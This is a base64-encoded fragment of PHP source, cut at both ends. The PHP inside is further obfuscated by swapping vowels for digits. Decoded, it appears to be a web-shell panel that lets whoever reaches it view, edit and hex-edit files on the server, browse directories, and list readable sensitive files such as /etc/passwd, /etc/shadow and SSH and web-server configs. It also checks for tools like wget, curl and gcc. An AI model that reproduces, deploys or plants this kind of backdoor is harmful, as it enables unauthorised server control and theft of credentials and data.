G0xZzUiLiInPjRtMWc1PC8xPiB8IDwxIGhyNWY9JyIuJHNfczVsZi4idjQ1dz0iLnBsKCRzX2YpLiImdHlwNT0xM2Q0MiIuIic+MTNkNDI8LzE+IHwgPDEgaHI1Zj0nIi4kc19zNWxmLiJ2NDV3PSIucGwoJHNfZikuIiZ0eXA1PXY0ZDUyIi4iJz52NGQ1MjwvMT4NCgkJCTwvdGQ+PC90cj4NCgkJCTwvdDFibDU+IjsNCg0KICAgICAgICAgICAgJHNfdCA9ICIiOyAkc19tNG01ID0gIiI7DQogICAgICAgICAgICAkc19tNG01X2w0c3QgPSBnejRuZmwxdDUoYjFzNWV1X2Q1YzJkNSgkc19tNG01X3R5cDVzKSk7DQogICAgICAgICAgICAkc181eHRfcDJzID0gc3RycnAycygkc19mLCAiLiIpOw0KICAgICAgICAgICAgNGYoJHNfNXh0X3AycyE9PWYxbHM1KXsNCiAgICAgICAgICAgICAgICAkc181eHQgPSB0cjRtKHMzYnN0cigkc19mLCAkc181eHRfcDJzKSwiLiIpOw0KICAgICAgICAgICAgICAgIDRmKHByNWdfbTF0Y2goIi8oW15cc10rKVwgLipcYiIuJHNfNXh0LiJcYi4qLzQiLCRzX200bTVfbDRzdCwkc19yKSl7DQogICAgICAgICAgICAgICAgICAgICRzX200bTUgPSAkc19yWzZdOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHNfNDRuZjIgPSBAZzV0NG0xZzVzNHo1KCRzX2YpOw0KICAgICAgICAgICAgNGYoc3RydDJsMnc1cihzM2JzdHIoJHNfZjRsbiwtbyxvKSkgPT0gInBocCIpICRzX3QgPSAiYzJkNSI7DQogICAgICAgICAgICA1bHM1NGYoNHNfMXJyMXkoJHNfNDRuZjIpKSAkc190ID0gJzRtMWc1JzsNCiAgICAgICAgICAgIDVsczU0ZighNW1wdHkoJHNfbTRtNSkpICRzX3QgPSBzM2JzdHIoJHNfbTRtNSwwLHN0cnAycygkc19tNG01LCIvIikpOw0KDQogICAgICAgICAgICA0Zig0c3M1dCgkX0dQWyd0eXA1J10pKSAkc190ID0gJF9HUFsndHlwNSddOw0KDQogICAgICAgICAgICA0Zigkc190PT0iNG0xZzUiKXsNCiAgICAgICAgICAgICAgICAkc193NGR0aCA9ICg0bnQpICRzXzQ0bmYyWzBdOw0KICAgICAgICAgICAgICAgICRzX2g1NGdodCA9ICg0bnQpICRzXzQ0bmYyWzZdOw0KICAgICAgICAgICAgICAgICRzXzRtZzRuZjIgPSAiSW0xZzUgdHlwNSA9ICggIi4kc180NG5mMlsnbTRtNSddLiIgKTxiciAvPg0KCQkJCQlJbTFnNSBTNHo1ID0gPHNwMW4gY2wxc3M9J2cxM2wnPiggPC9zcDFuPiIuJHNfdzRkdGguIiB4ICIuJHNfaDU0Z2h0LiI8c3AxbiBjbDFzcz0nZzEzbCc+ICk8L3NwMW4+PGJyIC8+IjsNCiAgICAgICAgICAgICAgICA0Zigkc193NGR0aCA+IDgwMCl7DQogICAgICAgICAgICAgICAgICAgICRzX3c0ZHRoID0gODAwOw0KICAgICAgICAgICAgICAgICAgICAkc180bWdsNG5rID0gIjxwPjwxIGhyNWY9JyIuJHNfczVsZi4iNG1nPSIucGwoJHNfZjRsbikuIic+DQoJCQkJCTxzcDFuIGNsMXNzPSdnMTNsJz5bIDwvc3Axbj52NDV3IGYzbGwgczR6NTxzcDFuIGNsMXNzPSdnMTNsJz4gXTwvc3Axbj48LzE+PC9wPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVsczUgJHNfNG1nbDRuayA9ICIiOw0KDQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSd2NDV3ZjRsNWMybnQ1bnQnIHN0eWw1PSd0NXh0LTFsNGduOmM1bnQ1cjsnPiIuJHNfNG1nbDRuay4iDQoJCQkJCTw0bWcgdzRkdGg9JyIuJHNfdzRkdGguIicgc3JjPSciLiRzX3M1bGYuIjRtZz0iLnBsKCRzX2Y0bG4pLiInIDFsdD0nIi4kc19mNGxuLiInIHN0eWw1PSdtMXJnNG46OHB4IDEzdDI7cDFkZDRuZzowO2IycmQ1cjowOycgLz48L2Q0dj4iOw0KDQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1NGYoJHNfdD09ImMyZDUiKXsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxkNHYgY2wxc3M9XCJ2NDV3ZjRsNWMybnQ1bnRcIj4iOw0KICAgICAgICAgICAgICAgICRzX2Y0bDUgPSB3MnJkd3IxcChAZmdjKCRzX2YpLDZlMCwiXG4iLHRyMzUpOw0KICAgICAgICAgICAgICAgICRzX2IzZmYgPSBoNGdobDRnaHRfc3RyNG5nKCRzX2Y0bDUsdHIzNSk7DQogICAgICAgICAgICAgICAgJHNfMmxkID0gMXJyMXkoIjAwMDBCQiIsICIwMDAwMDAiLCAiRkY4MDAwIiwgIkREMDAwMCIsICIwMDc3MDAiKTsNCiAgICAgICAgICAgICAgICAkc19uNXcgPSAoJHNfdGg1bTU9PSJicjRnaHQiKT8gJHNfaDRnaGw0Z2h0X2JyNGdodDokc19oNGdobDRnaHRfZDFyazsNCiAgICAgICAgICAgICAgICAkc19iM2ZmID0gc3RyX3I1cGwxYzUoJHNfMmxkLCRzX241dywgJHNfYjNmZik7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICRzX2IzZmY7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICAiPC9kNHY+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0Zigkc190PT0iMTNkNDIiIHx8ICRzX3Q9PSJ2NGQ1MiIpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPGQ0diBjbDFzcz0ndjQ1d2Y0bDVjMm50NW50JyBzdHlsNT0ndDV4dC0xbDRnbjpjNW50NXI7Jz4NCgkJCQkJCQk8Ii4kc190LiIgYzJudHIybHM+DQoJCQkJCQkJPHMyM3JjNSBzcmM9JyIuaHNzKCRzX3M1bGYuImRsdHlwNT1yMXcmZGxwMXRoPSIuJHNfZikuIicgdHlwNT0nIi4kc19tNG01LiInPg0KCQkJCQkJCQk8MmJqNWN0IGQxdDE9JyIuaHNzKCRzX3M1bGYuImRsdHlwNT1yMXcmZGxwMXRoPSIuJHNfZikuIic+DQoJCQkJCQkJCQk8NW1iNWQgc3JjPSciLmhzcygkc19zNWxmLiJkbHR5cDU9cjF3JmRscDF0aD0iLiRzX2YpLiInPg0KCQkJCQkJCQk8LzJiajVjdD4NCgkJCQkJCQk8LyIuJHNfdC4iPg0KCQkJCQkJCTwvZDR2PiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1IHsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxwcjUgc3R5bDU9J3AxZGQ0bmc6IG9weCA4cHggMCA4cHg7JyBjbDFzcz0ndjQ1d2Y0bDVjMm50NW50Jz4iOw0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAgc3RyX3I1cGwxYzUoIjwiLCAiJmx0OyIsc3RyX3I1cGwxYzUoIj4iLCAiJmd0OyIsKHcycmR3cjFwKEBmZ2MoJHNfZiksNmUwLCJcbiIsdHIzNSkpKSk7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICAgIjwvcHI1PiI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJHNfZikpew0KICAgICAgICAgICAgY2hkNHIoJHNfZik7DQogICAgICAgICAgICAkc19jd2QgPSBjcChnNXRjd2QoKSk7DQogICAgICAgICAgICBzNXRjMjJrNDUoImN3ZCIsICRzX2N3ZCAsdDRtNSgpICsgJHNfbDJnNG5fdDRtNSk7DQogICAgICAgICAgICAkc19yNXMzbHQgLj0gc2gyd2Q0cigkc19jd2QpOw0KICAgICAgICB9DQogICAgICAgIDVsczUgJHNfcjVzM2x0IC49IG4ydDRmKCJDMW5uMnQgZjRuZCB0aDUgcDF0aCBzcDVjNGY0NWQgIi4kc19mKTsNCg0KICAgIH0gLy8gNWQ0dCBmNGw1DQogICAgNWxzNTRmKDRzczV0KCRfR1BbJzVkNHQnXSkpew0KICAgICAgICAkc19mID0gJF9HUFsnNWQ0dCddOw0KICAgICAgICAkc19mYyA9ICIiOyAkc19mY3MgPSAiIjsNCg0KICAgICAgICA0Zig0c3M1dCgkX0dQWyduNXcnXSkgJiYgKCRfR1BbJ241dyddPT0neTVzJykpew0KICAgICAgICAgICAgJHNfbjNtID0gNjsNCiAgICAgICAgICAgIDRmKEA0c19mNGw1KCRzX2YpKXsNCiAgICAgICAgICAgICAgICAkc19wMnMgPSBzdHJycDJzKCRzX2YsIl8iKTsNCiAgICAgICAgICAgICAgICA0Zigkc19wMnMhPT1mMWxzNSkgJHNfbjNtID0gKDRudCkgczNic3RyKCRzX2YsJHNfcDJzKzYpOw0KICAgICAgICAgICAgICAgIHdoNGw1KEA0c19mNGw1KHMzYnN0cigkc19mLDAsJHNfcDJzKS4iXyIuJHNfbjNtKSl7DQogICAgICAgICAgICAgICAgICAgICRzX24zbSsrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkc19mID0gczNic3RyKCRzX2YsMCwkc19wMnMpLiJfIi4kc19uM207DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWxzNSA0ZihANHNfZjRsNSgkc19mKSkgJHNfZmMgPSBAZmdjKCRzX2YpOw0KDQogICAgICAgIDRmKDRzczV0KCRfR1BbJ2ZjJ10pKXsNCiAgICAgICAgICAgICRzX2ZjID0gJF9HUFsnZmMnXTsNCiAgICAgICAgICAgICRzXzUybCA9ICRfR1BbJzUybCddOw0KICAgICAgICAgICAgJHNfNTJsZiA9IHAxY2soIkgqIiwgZzUybCgkc19mYykpOw0KICAgICAgICAgICAgJHNfNTJsaCA9IHAxY2soIkgqIiwgJHNfNTJsKTsNCiAgICAgICAgICAgICRzX2ZjID0gc3RyX3I1cGwxYzUoJHNfNTJsZiwgJHNfNTJsaCwgJHNfZmMpOw0KDQogICAgICAgICAgICA0Zigkc19mNGw1eiA9IGYycDVuKCRzX2YsInciKSl7DQogICAgICAgICAgICAgICAgJHNfdDRtNSA9IEBkMXQ1KCJkLU0tWSBIOjQ6cyIsdDRtNSgpKTsNCiAgICAgICAgICAgICAgICA0Zihmd3I0dDUoJHNfZjRsNXosJHNfZmMpIT09ZjFsczUpICRzX2ZjcyA9ICJGNGw1IHMxdjVkIEAgIi4kc190NG01Ow0KICAgICAgICAgICAgICAgIDVsczUgJHNfZmNzID0gIkYxNGw1ZCB0MiBzMXY1IjsNCiAgICAgICAgICAgICAgICBmY2wyczUoJHNfZjRsNXopOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNWxzNSAkc19mY3MgPSAiUDVybTRzczQybiBkNW40NWQiOw0KICAgICAgICB9DQogICAgICAgIDVsczU0ZihANHNfZjRsNSgkc19mKSAmJiAhQDRzX3dyNHQxYmw1KCRzX2YpKSAkc19mY3MgPSAiVGg0cyBmNGw1IDRzIG4ydCB3cjR0MWJsNSI7DQoNCiAgICAgICAgJHNfNTJsID0gZzUybCgkc19mYyk7DQoNCiAgICAgICAgNGYoITVtcHR5KCRzX2ZjcykpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19mY3MpOw0KICAgICAgICAkc19yNXMzbHQgLj0gIjxmMnJtIDFjdDQybj0nIi4kc19zNWxmLiInIG01dGgyZD0ncDJzdCc+DQoJCQkJPHQ1eHQxcjUxIDRkPSdmYycgbjFtNT0nZmMnIGNsMXNzPSd0eHQxcjUxJz4iLmhzcygkc19mYykuIjwvdDV4dDFyNTE+DQoJCQkJPHAgc3R5bDU9J3Q1eHQtMWw0Z246YzVudDVyOyc+PDRucDN0IHR5cDU9J3Q1eHQnIGNsMXNzPSc0bnAzdHonIHN0eWw1PSd3NGR0aDo5OSU7JyBuMW01PSc1ZDR0JyB2MWwzNT0nIi5oc3MoJHNfZikuIicgLz48L3A+DQoJCQkJPHA+PDRucDN0IHR5cDU9J3MzYm00dCcgY2wxc3M9JzRucDN0emIzdCcgdjFsMzU9J1MxdjUgIScgc3R5bDU9J3c0ZHRoOjZhMHB4O2g1NGdodDpvMHB4OycgLz48L3A+DQoJCQkJPDRucDN0IHR5cDU9J2g0ZGQ1bicgbjFtNT0nNTJsJyB2MWwzNT0nIi4kc181MmwuIicgLz4NCgkJCQk8L2Yycm0+IjsNCg0KICAgIH0gLy8gaDV4IDVkNHQgZjRsNQ0KICAgIDVsczU0Zig0c3M1dCgkX0dQWydoNXg1ZDR0J10pKXsNCiAgICAgICAgJHNfZiA9ICRfR1BbJ2g1eDVkNHQnXTsNCiAgICAgICAgJHNfZmMgPSAiIjsJJHNfZmNzID0gIiI7ICRzX2g1eDVzID0gIiI7DQogICAgICAgICRzX2xuM20gPSAwOw0KDQogICAgICAgIDRmKCE1bXB0eSgkX0dQWydoeCddKSB8fCAhNW1wdHkoJF9HUFsnaHh0J10pKXsNCiAgICAgICAgICAgIDRmKCE1bXB0eSgkX0dQWydoeCddKSl7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkX0dQWydoeCddIDFzICRzX2g1eCkgJHNfaDV4NXMgLj0gc3RyX3I1cGwxYzUoIiAiLCAiIiwgJHNfaDV4KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDVsczU0ZighNW1wdHkoJF9HUFsnaHh0J10pKXsNCiAgICAgICAgICAgICAgICAkc19oNXg1cyA9IHRyNG0oJF9HUFsnaHh0J10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgNGYoJHNfZjRsNXogPSBmMnA1bigkc19mLCJ3Iikpew0KICAgICAgICAgICAgICAgICRzX2I0bnMgPSBwMWNrKCJIKiIsICRzX2g1eDVzKTsNCiAgICAgICAgICAgICAgICAkc190NG01ID0gQGQxdDUoImQtTS1ZIEg6NDpzIiwgdDRtNSgpKTsNCiAgICAgICAgICAgICAgICA0Zihmd3I0dDUoJHNfZjRsNXosJHNfYjRucykhPT1mMWxzNSkgJHNfZmNzID0gIkY0bDUgczF2NWQgQCAiLiRzX3Q0bTU7DQogICAgICAgICAgICAgICAgNWxzNSAkc19mY3MgPSAiRjE0bDVkIHQyIHMxdjUiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkc19mNGw1eik7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1bHM1ICRzX2ZjcyA9ICJQNXJtNHNzNDJuIGQ1bjQ1ZCI7DQogICAgICAgIH0NCiAgICAgICAgNWxzNSA0ZihANHNfZjRsNSgkc19mKSAmJiAhQDRzX3dyNHQxYmw1KCRzX2YpKSAkc19mY3MgPSAiVGg0cyBmNGw1IDRzIG4ydCB3cjR0MWJsNSI7DQoNCiAgICAgICAgNGYoITVtcHR5KCRzX2ZjcykpICRzX3I1czNsdCAuPSBuMnQ0Zigkc19mY3MpOw0KDQogICAgICAgICRzX3I1czNsdCAuPSAiPGYycm0gMWN0NDJuPSciLiRzX3M1bGYuIicgbTV0aDJkPSdwMnN0Jz48cCBjbDFzcz0nYzUgbXAnPjw0bnAzdCB0eXA1PSd0NXh0JyBjbDFzcz0nNG5wM3R6JyBzdHlsNT0ndzRkdGg6NjAwJTsnIG4xbTU9J2g1eDVkNHQnIHYxbDM1PSciLmhzcygkc19mKS4iJyAvPjwvcD48cCBjbDFzcz0nYmInIHN0eWw1PSdwMWRkNG5nOjAgMCA2dXB4IDA7Jz48NG5wM3QgdHlwNT0nczNibTR0JyBjbDFzcz0nNG5wM3R6YjN0JyB2MWwzNT0nUzF2NSAhJyBzdHlsNT0ndzRkdGg6NmEwcHg7aDU0Z2h0Om8wcHg7JyAybmNsNGNrPVwicjV0M3JuIHNoKCk7XCIgLz48L3A+PHQxYmw1IGNsMXNzPSc1eHBsMnI1Jz4iOw0KDQogICAgICAgIDRmKEA0c19mNGw1KCRzX2YpKXsNCiAgICAgICAgICAgICRzX2ZwID0gZjJwNW4oJHNfZiwgInIiKTsNCiAgICAgICAgICAgIDRmKCRzX2ZwKSB7DQogICAgICAgICAgICAgICAgJHNfbGQzbXAgPSAiIjsNCiAgICAgICAgICAgICAgICAkc19jMjNudDVyID0gMDsNCiAgICAgICAgICAgICAgICAkc180YzIzbnQ1ciA9IDA7DQogICAgICAgICAgICAgICAgd2g0bDUoIWY1MmYoJHNfZnApKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfbDRuNSA9IGZyNTFkKCRzX2ZwLCBvYSk7DQogICAgICAgICAgICAgICAgICAgICRzX2w0bjVoNXggPSBzdHJ0MjNwcDVyKGI0bmFoNXgoJHNfbDRuNSkpOw0KICAgICAgICAgICAgICAgICAgICAkc19sNG41eCA9IHN0cl9zcGw0dCgkc19sNG41aDV4LCBhKTsNCiAgICAgICAgICAgICAgICAgICAgJHNfbDRuNWg1eCA9IDRtcGwyZDUoIiAiLCAkc19sNG41eCk7DQogICAgICAgICAgICAgICAgICAgICRzXzFkZHIgPSBzcHI0bnRmKCIlMDh4aCIsICRzXzRjMjNudDVyKTsNCg0KICAgICAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjx0cj48dGQgY2wxc3M9J2M1IHdlMCc+Ii4kc18xZGRyLiI8L3RkPjx0ZCBjbDFzcz0nbDUgd2k5dSc+PDRucDN0IDJuczVsNWN0PSd0aDRzLnM1bDVjdDQybkVuZD10aDRzLnM1bDVjdDQyblN0MXJ0OycgMm5jbDRjaz1cImgzKCciLiRzX2MyM250NXIuIicsNXY1bnQpO1wiIDJuazV5ZDJ3bj1cInI1dDNybiBoZignIi4kc19jMjNudDVyLiInLDV2NW50KTtcIiAybms1eTNwPVwiaDMoJyIuJHNfYzIzbnQ1ci4iJyw1djVudCk7XCIgdHlwNT0ndDV4dCcgY2wxc3M9JzRucDN0eiB3aTc4JyA0ZD0naDV4XyIuJHNfYzIzbnQ1ci4iJyBuMW01PSdoeFtdJyB2MWwzNT0nIi4kc19sNG41aDV4LiInICBtMXhsNW5ndGg9JyIuc3RybDVuKCRzX2w0bjVoNXgpLiInIC8+PC90ZD48dGQgY2wxc3M9J2w1IGxzYSc+PHByNSBuMW01PSdoNXhkM21wJyA0ZD0nZDNtcF8iLiRzX2MyM250NXIuIicgY2wxc3M9J21wJz48L3ByNT48L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgJHNfYzIzbnQ1cisrOw0KICAgICAgICAgICAgICAgICAgICAkc180YzIzbnQ1cis9b2E7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPDRucDN0IHR5cDU9J2g0ZGQ1bicgNGQ9J2MyM250NXInIHYxbDM1PSciLiRzX2MyM250NXIuIicgLz4iOw0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHQ1eHQxcjUxIG4xbTU9J2h4dCcgNGQ9J2h4dCcgY2wxc3M9J3M1bWIzbnk0Jz48L3Q1eHQxcjUxPiI7DQogICAgICAgICAgICAgICAgZmNsMnM1KCRzX2ZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkc19yNXMzbHQgLj0gIjwvdDFibDU+PC9mMnJtPiI7DQoNCiAgICB9IC8vIHNoMncgczVydjVyIDRuZjJybTF0NDJuDQogICAgNWxzNTRmKDRzczV0KCRfR1BbJ3gnXSkgJiYgKCRfR1BbJ3gnXT09JzRuZjInKSl7DQogICAgICAgICRzX3I1czNsdCA9ICIiOw0KICAgICAgICAvLyBzNXJ2NXIgbTRzYyA0bmYyDQogICAgICAgICRzX3I1czNsdCAuPSAiPHAgY2wxc3M9J24ydDRmJyAybmNsNGNrPVwidDJnZ2w1KCc0bmYyX3M1cnY1cicpXCI+UzVydjVyIEluZjI8L3A+IjsNCiAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSc0bmYyJyA0ZD0nNG5mMl9zNXJ2NXInPjx0MWJsNT4iOw0KDQogICAgICAgIDRmKCRzX3c0bil7DQogICAgICAgICAgICBmMnI1MWNoIChyMW5nNSgiQSIsICJaIikgMXMgJHNfbDV0dDVyKXsNCiAgICAgICAgICAgICAgICA0ZigoQDRzX2Q0cigkc19sNXR0NXIuIjpcXCIpICYmIEA0c19yNTFkMWJsNSgkc19sNXR0NXIuIjpcXCIpKSl7DQogICAgICAgICAgICAgICAgICAgICRzX2RyNHY1ID0gJHNfbDV0dDVyLiI6IjsNCiAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8dHI+PHRkPmRyNHY1ICIuJHNfZHI0djUuIjwvdGQ+PHRkPiIudHMoZDRza19mcjU1X3NwMWM1KCRzX2RyNHY1KSkuIiBmcjU1IDJmICIudHMoZDRza190MnQxbF9zcDFjNSgkc19kcjR2NSkpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgNWxzNSAkc19yNXMzbHQgLj0gIjx0cj48dGQ+cjIydCBwMXJ0NHQ0Mm48L3RkPjx0ZD4iLnRzKEBkNHNrX2ZyNTVfc3AxYzUoIi8iKSkuIiBmcjU1IDJmICIudHMoQGQ0c2tfdDJ0MWxfc3AxYzUoIi8iKSkuIjwvdGQ+PC90cj4iOw0KDQogICAgICAgICRzX3I1czNsdCAuPSAiPHRyPjx0ZD5waHA8L3RkPjx0ZD4iLnBocHY1cnM0Mm4oKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRzXzFjYzVzcyA9IDFycjF5KCJzX3B5dGgybiIsICJzX3A1cmwiLCAic19yM2J5IiwgInNfbjJkNSIsICJzX24yZDVqcyIsICJzX2djYyIsICJzX2oxdjEiLCAic19qMXYxYyIsICJzX3QxciIsICJzX3dnNXQiLCAic19sd3BkMndubDIxZCIsICJzX2x5bngiLCAic19jM3JsIik7DQogICAgICAgIGYycjUxY2goJHNfMWNjNXNzIDFzICRzKXsNCiAgICAgICAgICAgICRzX3QgPSA1eHBsMmQ1KCJfIiwgJHMpOw0KICAgICAgICAgICAgNGYoNHNzNXQoJCRzKSkgJHNfcjVzM2x0IC49ICI8dHI+PHRkPiIuJHNfdFs2XS4iPC90ZD48dGQ+Ii4kJHMuIjwvdGQ+PC90cj4iOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYoISRzX3c0bil7DQogICAgICAgICAgICAkc180bnQ1cjVzdDRuZyA9IDFycjF5KA0KICAgICAgICAgICAgICAgICIvNXRjLzJzLXI1bDUxczUiLCAiLzV0Yy9wMXNzd2QiLCAiLzV0Yy9zaDFkMnciLCAiLzV0Yy9ncjIzcCIsICIvNXRjLzRzczM1IiwgIi81dGMvNHNzMzUubjV0IiwgIi81dGMvbTJ0ZCIsICIvNXRjL3MzZDI1cnMiLCAiLzV0Yy9oMnN0cyIsICIvNXRjLzFsNDFzNXMiLA0KICAgICAgICAgICAgICAgICIvcHIyYy92NXJzNDJuIiwgIi81dGMvcjVzMmx2LmMybmYiLCAiLzV0Yy9zeXNjdGwuYzJuZiIsDQogICAgICAgICAgICAgICAgIi81dGMvbjFtNWQuYzJuZiIsICIvNXRjL241dHcycmsvNG50NXJmMWM1cyIsICIvNXRjL3NxMzRkL3NxMzRkLmMybmYiLCAiLzNzci9sMmMxbC9zcTM0ZC81dGMvc3EzNGQuYzJuZiIsDQogICAgICAgICAgICAgICAgIi81dGMvc3NoL3NzaGRfYzJuZjRnIiwNCiAgICAgICAgICAgICAgICAiLzV0Yy9odHRwZC9jMm5mL2h0dHBkLmMybmYiLCAiLzNzci9sMmMxbC8xcDFjaDVhL2MybmYvaHR0cGQuYzJuZiIsICIgLzV0Yy8xcDFjaDVhLzFwMWNoNWEuYzJuZiIsICIvNXRjLzFwMWNoNWEvaHR0cGQuYzJuZiIsICIvM3NyL3BrZy81dGMvaHR0cGQvaHR0cGQuYzJuZiIsICIvM3NyL2wyYzFsLzV0Yy8xcDFjaDVhYS9odHRwZC5jMm5mIiwgIi8zc3IvbDJjMWwvNXRjLzFwMWNoNWEvaHR0cGQuYzJuZiIsICIvdjFyL3d3dy9jMm5mL2h0dHBkLmMybmYiLCAiLzV0Yy8xcDFjaDVhL2h0dHBkYS5jMm5mIiwgIi81dGMvaHR0cGQvaHR0cGQuYzJuZiIsDQogICAgICAgICAgICAgICAgIi81dGMvbDRnaHR0cGQvbDRnaHR0cGQuYzJuZiIsICIvNXRjL25nNG54L25nNG54LmMybmYiLA0KICAgICAgICAgICAgICAgICIvNXRjL2ZzdDFiIiwgIi81dGMvbXQxYiIsICIvNXRjL2NyMm50MWIiLCAiLzV0Yy80bjR0dDFiIiwgIi81dGMvbTJkM2w1cy5jMm5mIiwgIi81dGMvbTJkM2w1cyIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkc180bnQ1cjVzdDRuZyAxcyAkc19mKXsNCiAgICAgICAgICAgICAgICA0ZihANHNfZjRsNSgkc19mKSAmJiBANHNfcjUxZDFibDUoJHNfZikpICRzX3I1czNsdCAuPSAiPHRyPjx0ZD4iLiRzX2YuIjwvdGQ+PHRkPjwxIGhyNWY9JyIuJHNfczVsZi4idjQ1dz0iLnBsKCRzX2YpLiInPiIuJHNfZi4iIDRzIHI1MWQxYmw1PC8xPjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRzX3I1czNsdCAuPSAiPC90MWJsNT48L2Q0dj4iOw0KDQogICAgICAgIDRmKCEkc193NG4pew0KICAgICAgICAgICAgLy8gY3AzIDRuZjINCiAgICAgICAgICAgIDRmKCRzXzRfYjNmZj10cjRtKEBmZ2MoIi9wcjJjL2NwMzRuZjIiKSkpew0KICAgICAgICAgICAgICAgICRzX3I1czNsdCAuPSAiPHAgY2wxc3M9J24ydDRmJyAybmNsNGNrPVwidDJnZ2w1KCc0bmYyX2NwMycpXCI+Q1BVIEluZjI8L3A+IjsNCiAgICAgICAgICAgICAgICAkc19yNXMzbHQgLj0gIjxkNHYgY2wxc3M9JzRuZjInIDRkPSc0bmYyX2NwMyc+IjsNCiAgICAgICAgICAgICAgICAkc180X2IzZmZzID0gNXhwbDJkNSgiXG5cbiIsICRzXzRfYjNmZik7DQogICAgICAgICAgICAgICAgZjJyNTFjaCgkc180X2IzZmZzIDFzICRzXzRfYjNmZnNzKXsNCiAgICAgICAgICAgICAgICAgICAgJHNfNF9iM2Zmc3MgPSB0cjRtKCRzXzRfYjNmZnNzKTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJHNfNF9iM2Zmc3MhPSIiKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzXzRfYjNmZnNzcyA9IDV4cGwyZDUoIlxuIiwgJHNfNF9iM2Zmc3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8dDFibDU+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHNfNF9iM2Zmc3NzIDFzICRzXzQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzXzQgPSB0cjRtKCRzXzQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRzXzQhPSIiKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNfNDQgPSA1eHBsMmQ1KCI6Iiwkc180KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoYzIzbnQoJHNfNDQpPT1hKSAkc19yNXMzbHQgLj0gIjx0cj48dGQ+Ii4kc180NFswXS4iPC90ZD48dGQ+Ii4kc180NFs2XS4iPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L3QxYmw1PiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8L2Q0dj4iOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBtNW0gNG5mMg0KICAgICAgICAgICAgNGYoJHNfNF9iM2ZmPXRyNG0oQGZnYygiL3ByMmMvbTVtNG5mMiIpKSl7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8cCBjbDFzcz0nbjJ0NGYnIDJuY2w0Y2s9XCJ0MmdnbDUoJzRuZjJfbTVtJylcIj5NNW0ycnkgSW5mMjwvcD4iOw0KICAgICAgICAgICAgICAgICRzXzRfYjNmZnMgPSA1eHBsMmQ1KCJcbiIsICRzXzRfYjNmZik7DQogICAgICAgICAgICAgICAgJHNfcjVzM2x0IC49ICI8ZDR2IGNsMXNzPSc0bmYyJyA0ZD0nNG5mMl9tNW0nPjx0MWJsNT4iOw0KICAgICAgICAgICAgICAgIGYycjUxY2goJHNfNF9iM2ZmcyAxcyAkc180KXsNCiAgICAgICAgICAgICAgICAgICAgJHNfNCA9IHRyNG0oJHNfNCk7DQogICAgICAgICAgICAgICAgICAgIDRmKCRzXzQhPSIiKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzXzQ0ID0gNXhwbDJkNSgiOiIsJHNfNCk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZihjMjNudCgkc180NCk9PWEpICRzX3I1czNsdCAuPSAiPHRyPjx0ZD4iLiRzXzQ0WzBdLiI8L3RkPjx0ZD4iLiRzXzQ0WzZdLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgI